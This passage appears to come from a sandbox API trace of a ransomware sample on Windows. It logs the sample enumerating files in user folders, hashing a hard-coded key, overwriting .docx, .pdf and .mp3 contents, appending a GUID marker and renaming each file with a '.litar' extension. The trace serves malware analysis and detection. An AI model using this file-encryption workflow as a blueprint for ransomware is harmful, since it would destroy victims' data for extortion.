(in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.155] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xc26a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xc26a, lpOverlapped=0x0) returned 1 [0127.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.155] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc26f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.155] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.155] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.155] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.155] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.155] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.155] CloseHandle (hObject=0x624) returned 1 [0127.156] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.156] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.156] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\WPd8.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\wpd8.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\WPd8.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\wpd8.docx.litar")) returned 1 [0127.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.157] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.158] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.158] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3ab500, ftCreationTime.dwHighDateTime=0x1d4d10b, ftLastAccessTime.dwLowDateTime=0xcc16a7d0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0xcc16a7d0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x79b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xdcv4NFG2H1C8.pdf", cAlternateFileName="XDCV4N~1.PDF")) returned 1 [0127.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xee) returned 0x6aef38 [0127.158] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.158] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\xdcv4NFG2H1C8.pdf") returned=".pdf" [0127.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\xdcv4NFG2H1C8.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\xdcv4nfg2h1c8.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.158] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=31159) returned 1 [0127.158] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.160] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7991, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.160] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.162] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.162] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x79b7, lpOverlapped=0x0) returned 1 [0127.162] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.162] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.162] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.162] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.163] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.163] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.163] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.163] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.163] GetLastError () returned 0x0 [0127.163] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.163] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x79c0) returned 0x30fa0b0 [0127.164] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.164] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x79b2, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x79b2, lpOverlapped=0x0) returned 1 [0127.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.164] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x79b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.164] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.164] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.164] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.164] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.164] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.164] CloseHandle (hObject=0x624) returned 1 [0127.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020a70 [0127.165] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0127.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\xdcv4NFG2H1C8.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\xdcv4nfg2h1c8.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\0hH2Yg pWVEr\\xdcv4NFG2H1C8.pdf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\0hh2yg pwver\\xdcv4nfg2h1c8.pdf.litar")) returned 1 [0127.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.166] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.167] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.167] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3ab500, ftCreationTime.dwHighDateTime=0x1d4d10b, ftLastAccessTime.dwLowDateTime=0xcc16a7d0, ftLastAccessTime.dwHighDateTime=0x1d4cac2, ftLastWriteTime.dwLowDateTime=0xcc16a7d0, ftLastWriteTime.dwHighDateTime=0x1d4cac2, nFileSizeHigh=0x0, nFileSizeLow=0x79b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xdcv4NFG2H1C8.pdf", cAlternateFileName="XDCV4N~1.PDF")) returned 0 [0127.167] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.167] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.167] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.167] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.167] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.167] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\") returned="7fX2K\\" [0127.167] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\") returned="YJf_dR\\" [0127.167] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0127.167] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.167] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.167] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.167] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.167] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.168] PathFindFileNameW (pszPath="") returned="" [0127.168] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x301ceca0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xa0d82550, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xa0d82550, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.168] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.168] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x301ceca0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xa0d82550, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xa0d82550, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.168] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632154e0, ftCreationTime.dwHighDateTime=0x1d4c898, ftLastAccessTime.dwLowDateTime=0xc0f5c030, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0xc0f5c030, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jx1kJWZdi iCE.mp3", cAlternateFileName="JX1KJW~1.MP3")) returned 1 [0127.169] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\jx1kJWZdi iCE.mp3") returned=".mp3" [0127.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\jx1kJWZdi iCE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\jx1kjwzdi ice.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.169] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=11573) returned 1 [0127.169] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.171] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.171] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.172] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x2d35, lpOverlapped=0x0) returned 1 [0127.173] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.173] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.173] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.173] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.173] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.174] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.174] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.174] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.174] GetLastError () returned 0x0 [0127.174] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.174] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2d40) returned 0x30fa0b0 [0127.174] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.174] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x2d30, lpOverlapped=0x0) returned 1 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.174] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.174] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.174] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.175] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.175] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.175] CloseHandle (hObject=0x624) returned 1 [0127.175] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.175] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.175] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\jx1kJWZdi iCE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\jx1kjwzdi ice.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\jx1kJWZdi iCE.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\jx1kjwzdi ice.mp3.litar")) returned 1 [0127.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.176] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.177] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde2af1c0, ftCreationTime.dwHighDateTime=0x1d4d4c1, ftLastAccessTime.dwLowDateTime=0x957b30, ftLastAccessTime.dwHighDateTime=0x1d4cd93, ftLastWriteTime.dwLowDateTime=0x957b30, ftLastWriteTime.dwHighDateTime=0x1d4cd93, nFileSizeHigh=0x0, nFileSizeLow=0xdd2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Si93eS7jq6X4SJC7vm61.mp3", cAlternateFileName="SI93ES~1.MP3")) returned 1 [0127.177] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.177] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.177] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.177] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\Si93eS7jq6X4SJC7vm61.mp3") returned=".mp3" [0127.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\7fX2K\\Si93eS7jq6X4SJC7vm61.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\7fx2k\\si93es7jq6x4sjc7vm61.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.177] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=56623) returned 1 [0127.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.179] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.179] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.181] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.181] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.181] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xdd2f, lpOverlapped=0x0) returned 1 [0127.182] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 